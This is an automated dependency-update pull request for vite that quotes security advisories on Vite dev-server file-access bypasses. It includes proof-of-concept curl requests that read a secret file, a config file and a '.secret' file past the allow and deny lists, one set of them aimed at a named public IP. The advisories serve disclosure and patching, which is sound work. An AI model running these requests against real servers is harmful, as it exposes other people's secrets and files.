chore(deps): update dependency vite [security]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`5.4.3` -> `5.4.6`
vite (source)	`^5.4.3` -> `^5.0.11`

GitHub Vulnerability Alerts

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
Created dummy secret files, e.g. custom.secret and production.pem

Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename

Proof Screenshot 2024-01-19 022736

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

Release Notes

vitejs/vite (vite)

### [`v5.4.6`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.6) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.5...v5.4.6) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.6/packages/vite/CHANGELOG.md) for details. ### [`v5.4.5`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.5) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.4...v5.4.5) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.5/packages/vite/CHANGELOG.md) for details. ### [`v5.4.4`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.4) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.4.3...v5.4.4) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.4/packages/vite/CHANGELOG.md) for details.

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

[ ] If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

gqty-dev / gqty